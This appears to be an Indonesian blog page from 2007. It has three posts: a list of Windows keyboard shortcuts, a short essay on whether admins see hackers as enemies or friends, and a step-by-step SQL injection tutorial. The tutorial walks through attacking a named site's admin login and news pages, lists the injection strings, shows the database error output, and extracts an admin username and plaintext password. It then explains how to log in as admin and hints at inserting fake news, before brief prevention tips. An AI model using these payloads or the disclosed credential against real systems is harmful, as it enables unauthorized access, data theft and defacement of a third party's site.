Windows ShortCut

Windows system key combinations• F1: Help• CTRL+ESC: Open Start menu• ALT+TAB: Switch between open programs• ALT+F4: Quit program• SHIFT+DELETE: Delete item permanentlyWindows program key combinations• CTRL+C: Copy• CTRL+X: Cut• CTRL+V: Paste• CTRL+Z: Undo• CTRL+B: Bold• CTRL+U: Underline• CTRL+I: Italic

Mouse click/keyboard modifier combinations for shell objects• SHIFT+right click: Displays a shortcut menu containing alternative commands• SHIFT+double click: Runs the alternate default command (the second item on the menu)• ALT+double click: Displays properties• SHIFT+DELETE: Deletes an item immediately without placing it in the Recycle BinGeneral keyboard-only commands• F1: Starts Windows Help• F10: Activates menu bar options• SHIFT+F10 Opens a shortcut menu for the selected item (this is the same as right-clicking an object• CTRL+ESC: Opens the Start menu (use the ARROW keys to select an item)• CTRL+ESC or ESC: Selects the Start button (press TAB to select the taskbar, or press SHIFT+F10 for a context menu)• ALT+DOWN ARROW: Opens a drop-down list box• ALT+TAB: Switch to another running program (hold down the ALT key and then press the TAB key to view the task-switching window)• SHIFT: Press and hold down the SHIFT key while you insert a CD-ROM to bypass the automatic-run feature• ALT+SPACE: Displays the main window's System menu (from the System menu, you can restore, move, resize, minimize, maximize, or close the window)• ALT+- (ALT+hyphen): Displays the Multiple Document Interface (MDI) child window's System menu (from the MDI child window's System menu, you can restore, move, resize, minimize, maximize, or close the child window)• CTRL+TAB: Switch to the next child window of a Multiple Document Interface (MDI) program

• ALT+underlined letter in menu: Opens the menu• ALT+F4: Closes the current window• CTRL+F4: Closes the current Multiple Document Interface (MDI) window• ALT+F6: Switch between multiple windows in the same program (for example, when the Notepad Find dialog box is displayed, ALT+F6 switches between the Find dialog box and the main Notepad window)

Shell objects and general folder/Windows Explorer shortcutsFor a selected object:• F2: Rename object• F3: Find all files• CTRL+X: Cut• CTRL+C: Copy• CTRL+V: Paste• SHIFT+DELETE: Delete selection immediately, without moving the item to the Recycle Bin• ALT+ENTER: Open the properties for the selected objectTo copy a filePress and hold down the CTRL key while you drag the file to another folder.To create a shortcutPress and hold down CTRL+SHIFT while you drag a file to the desktop or a folder.

General folder/shortcut control• F4: Selects the Go To A Different Folder box and moves down the entries in the box (if the toolbar is active in Windows Explorer)• F5: Refreshes the current window.• F6: Moves among panes in Windows Explorer• CTRL+G: Opens the Go To Folder tool (in Windows 95 Windows Explorer only)• CTRL+Z: Undo the last command• CTRL+A: Select all the items in the current window• BACKSPACE: Switch to the parent folder• SHIFT+click+Close button: For folders, close the current folder plus all parent folders

Windows Explorer tree control• Numeric Keypad *: Expands everything under the current selection• Numeric Keypad +: Expands the current selection• Numeric Keypad -: Collapses the current selection.• RIGHT ARROW: Expands the current selection if it is not expanded, otherwise goes to the first child• LEFT ARROW: Collapses the current selection if it is expanded, otherwise goes to the parent

Properties control• CTRL+TAB/CTRL+SHIFT+TAB: Move through the property tabs

Accessibility shortcuts• Press SHIFT five times: Toggles StickyKeys on and off• Press down and hold the right SHIFT key for eight seconds: Toggles FilterKeys on and off• Press down and hold the NUM LOCK key for five seconds: Toggles ToggleKeys on and off• Left ALT+left SHIFT+NUM LOCK: Toggles MouseKeys on and off• Left ALT+left SHIFT+PRINT SCREEN: Toggles high contrast on and off

Microsoft Natural Keyboard keys• Windows Logo: Start menu• Windows Logo+R: Run dialog box• Windows Logo+M: Minimize all• SHIFT+Windows Logo+M: Undo minimize all• Windows Logo+F1: Help• Windows Logo+E: Windows Explorer• Windows Logo+F: Find files or folders• Windows Logo+D: Minimizes all open windows and displays the desktop• CTRL+Windows Logo+F: Find computer• CTRL+Windows Logo+TAB: Moves focus from Start, to the Quick Launch toolbar, to the system tray (use RIGHT ARROW or LEFT ARROW to move focus to items on the Quick Launch toolbar and the system tray)• Windows Logo+TAB: Cycle through taskbar buttons• Windows Logo+Break: System Properties dialog box• Application key: Displays a shortcut menu for the selected item

Microsoft Natural Keyboard with IntelliType software installed• Windows Logo+L: Log off Windows• Windows Logo+P: Starts Print Manager• Windows Logo+C: Opens Control Panel• Windows Logo+V: Starts Clipboard• Windows Logo+K: Opens Keyboard Properties dialog box• Windows Logo+I: Opens Mouse Properties dialog box• Windows Logo+A: Starts Accessibility Options (if installed)• Windows Logo+SPACEBAR: Displays the list of Microsoft IntelliType shortcut keys• Windows Logo+S: Toggles CAPS LOCK on and off

Dialog box keyboard commands• TAB: Move to the next control in the dialog box• SHIFT+TAB: Move to the previous control in the dialog box• SPACEBAR: If the current control is a button, this clicks the button. If the current control is a check box, this toggles the check box. If the current control is an option, this selects the option.• ENTER: Equivalent to clicking the selected button (the button with the outline)• ESC: Equivalent to clicking the Cancel button• ALT+underlined letter in dialog box item: Move to the corresponding itemDiposkan oleh posku di 9/26/2007 11:15:00 AM

Senin, 10 September 2007

Hacker disudut pandang Admin

Hacker adalah musuh-------------------Yah, benar hacker adalah musuh utama bagi seorang administrator.Sebab mereka kadang kala menyebabkan banyak sekali kesulitan bagi seorang admin.Kadang kala kerjaan seorang admin dari sekedar untuk memaintenance network menjadi harus menambal bolong2 network mereka dan harus memperbaiki apa yang salah dengan network mereka.Belum lagi kasus dimana data - data pengguna jaringan mereka dirusak, dicuri, ataupun dirubah oleh hacker ini.Menjadi seorang admin adalah tidak mudah, selain dia harus mengetahui dan mengerti dengan betul konsep jaringan, dia juga harus mempunyai kemampuan untuk memperbaiki kesalahan - kesalahan tidak diketahui pada jaringan mereka.[ Tentunya jika dia adalah seorang admin yang baik ;p ].Akan tetapi terkadang kala ada juga admin yang kerjaannya hanya memantau jaringan milik dia, tanpa memikirkan urusan - urusan mengenai kesalahan - kesalahan tersebut, mereka kadang kala hanya memikirkan " Ah bodoh amat, kerja gue kan cumen memaintenance network, ngak ada urusan dengan unknwon error ataupun hacker - hacker itu ".Nah tipe admin yang beginilah yang mengganggap hacker itu adalah musuh mereka, sebab hacker itu menambah beban kerja mereka. Hacker hanya merusak jaringan mereka.Admin tersebut harus menambah lagi waktu kerja mereka dari dulunya yang bisa dipergunakan untuk bersantai ria.Tapi apakah betul hacker itu adalah seorang pengacau...Hacker adalah teman-------------------Yah, benar hacker adalah seorang teman bagi seorang administrator.Mereka membuat gairah bekerja seorang administrator kembali hidup, mereka membantu untuk memperkuat jaringan mereka.Seorang admin yang menganggap seorang hacker adalah teman, merupakan tipe seorang admin yang berdedikasi tinggi.Mengapa ?Sebab admin tersebut tidak memikirkan beban pekerjaan yang harus mereka tanggung, melainkan mereka memikirkan bahwa inilah yang saat yang sudah mereka tunggu - tunggu, sesuatu yang membuat pekerjaan mereka tidak membosankan.

Mereka bisa tahu apa kelemahan jaringan mereka, dan setelah tahu apa kelemahan jaringan mereka, mereka akan memperbaikinya.Pernahkah anda merasakan betapa senangnya melakukan suatu hal yang benar - benar anda sukai dan anda kuasai ???Jika pernah, itulah perasaan yang sama yang dirasakan oleh tipe admin seperti itu.Mereka mengganggap hacker bukanlah sebagai musuh atau beban mereka, melainkan menganggap mereka sebagai teman dan rekan seperjuangan yang patut dihargai.Kesimpulan---------- - Jadi, Anda menganggap hacker sebagai apa?Diposkan oleh posku di 9/10/2007 05:08:00 AM

SQL Injection, step by step

SQL Injection, step by stepBy D-andPublished: April 25, 2007

/********************************************************** SQL Injection, step by step.** No Warranty. This tutorial is for educational use only, * commercial use is prohibited.***********************************************************/

Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?Anda tahu betapa berbahaya bug yang satu ini ?Berikut akan kita sajikan step by step SQL Injection ini.Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.idAda dua kelemahan di site ini, yaitu:1. Tabel News2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-injectdengan jalan berjalan-jalan (enumeration) dulu di site tsb.Kita akan menemukan 2 model cara input parameter, yaitu dengancara memasukkan lewat input box dan memasukkannya lewatalamat URL.

Kita ambil yang termudah dulu, dengan cara input box.Kemudian kita cari kotak login yang untuk admin.Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp

Langkah pertama untuk menentukan nama tabel dan fieldnya,kita inject kotak NIP dengan perintah (password terserah, cabangbiarkan aja):' having 1=1--jangan lupa untuk menuliskan tanda kutip tunggal dan tandaminus dobel (penting).Arti kedua tanda tsb bisa anda cari di tutorial SQL Injectiondi www.neoteker.or.id ini (lihat arsip sebelumnya).Kemudian akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column'T_ADMIN.NOMOR' is invalid in the select list becauseit is not contained in an aggregate function andthere is no GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Keluarlah nama field pertama kita !!!Catat nama tabel : T_ADMINCatat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,beserta nama tabel yang mungkin berbeda-beda.Kita inject di kotak NIP (password terserah):' group by T_ADMIN.NOMOR having 1=1--Akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column'T_ADMIN.NIP' is invalid in the select list becauseit is not contained in either an aggregatefunction or the GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Artinya itulah nama tabel dan field kedua kita.Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--Akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column

'T_ADMIN.PASSWORD' is invalid in the select list becauseit is not contained in either an aggregate function or the GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecekfield terakhir dengan meng-inject:' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL having 1=1--(catatan : kalimat harus 1 baris, tidak dipotong)--------------------- NIP atau Password atau Unit Anda salah !! ---------------------Sukses !!! Kita berhasil menemukan field terakhir.Daftar kolom (field):T_ADMIN.NOMORT_ADMIN.NIP T_ADMIN.PASSWORDT_ADMIN.NAMA T_ADMIN.KD_RANTINGT_ADMIN.ADDRESS T_ADMIN.EMAILHanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :' union select sum(NOMOR) from T_ADMIN--Arti dari query tersebut adalah : kita coba menerapkanklausa sum sebelum menentukan apakah jumlah kolom-kolomdi dua rowsets adalah sejenis.Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)yang berlaku untuk type kolom numerik, jadi untuk type kolomyang bukan numerik, akan keluar error yang bisa memberitahukita jenis kolom yang dimaksud.Pesan error :

--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]All queriesin an SQL statement containing a UNION operator must have an equal number of expressions in their target lists./sipm/admin/dologin.asp, line 7--------------------artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :' union select sum(NIP) from T_ADMIN--Akan keluar pesan error :--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]The sumor average aggregate operation cannot take a char data type as an argument./sipm/admin/dologin.asp, line 7--------------------Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yangberikutnya dengan jalan mengganti nama_kolom di :' union select sum(nama_kolom) from T_ADMIN--dengan kolom yang berikutnya.Kita peroleh 7 type kolom:T_ADMIN.NOMOR => numericT_ADMIN.NIP => charT_ADMIN.PASSWORD => nvarcharT_ADMIN.NAMA => charT_ADMIN.KD_RANTING => charT_ADMIN.ADDRESS => nvarcharT_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,untuk user admin, dengan meng-inject :' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--artinya kita memilih minimum nama user yang lebih besar dari 'a'dan mencoba meng-konvert-nya ke tipe integer.Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilihkolom NAMA, dan mengabaikan 6 kolom yang lain.Akan keluar pesan error :--------------------

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntaxerror converting the varchar value 'bill ' toa column of data type int./sipm/admin/dologin.asp, line 7--------------------Anda lihat :varchar value 'bill ''bill' itu adalah nama user di record yang terakhir dimasukkan,atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where NAMA = 'bill'--catatan : harus sebaris (tidak dipotong).Akan keluar error :---------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntaxerror converting the nvarchar value 'm@mpusk@u' to acolumn of data type int./sipm/admin/dologin.asp, line 7---------------------Artinya kita berhasil !!!Kita dapatkan[+] NAMA = bill[+] PASSWORD = m@mpusk@u

Silahkan login ke :www.pln-wilkaltim.co.id/sipm/admin/admin.aspdengan account di atas, sedang nama cabang, silahkan andaisi sendiri dengan cara coba-coba 

Atau kita pakai jalan pintas saja....

Kita inject-kan :' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN where NAMA ='bill'--catatan : harus satu baris.Duarrrrrr..........Glhodhak.............Langsung masuk ke menu admin.Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.Pada dasarnya berita di situ adalah isi dari tabel yanglain lagi. Jadi tetep bisa kita inject !!!Bedanya, kita harus memasukkan parameter di alamat URL-nya.Contoh :www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2ada parameter id dan idSM.Setelah kita coba inject, ternyata yang berpengaruh adalah parameter id aja (CMIIW).

Kita inject-kan :www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--akan keluar pesan error :---------------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column'tb_news.NewsId' is invalid in the select list becauseit is not contained in an aggregate function and there is no GROUP BY clause./dari_Media.asp, line 58---------------------------artinya 'tb_news.NewsId' itulah nama tabel dan kolom kitayang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :tb_news.NewsId => numerictb_news.NewsCatId => numerictb_news.EntryDate => datetimetb_news.Title => nvarchartb_news.Content => tb_news.FotoLink =>tb_news.FotoType => bit datatb_news.review => tb_news.sumber => chartb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkanpengetahuan anda.Anda bisa men-insert berita yang bisa anda tentukan sendiriisinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hackoleh Shizoprenic, juga ada di tabel-tabel suatu database,jadi tetep bisa dimasuki dengan cara SQL Injection ini.

******************************************************KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!******************************************************Cara pencegahan yang umum digunakan :1. Batasi panjang input box (jika memungkinkan), dengancara membatasinya di kode program, jadi si cracker pemulaakan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.2. Filter input yang dimasukkan oleh user, terutama penggunaantanda kutip tunggal (Input Validation).3. Matikan atau sembunyikan pesan-pesan error yang keluardari SQL Server yang berjalan.4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,Extended Stored Procedures jika memungkinkan.5. Ubah "Startup and run SQL Server" menggunakan low privilege userdi SQL Server Security tab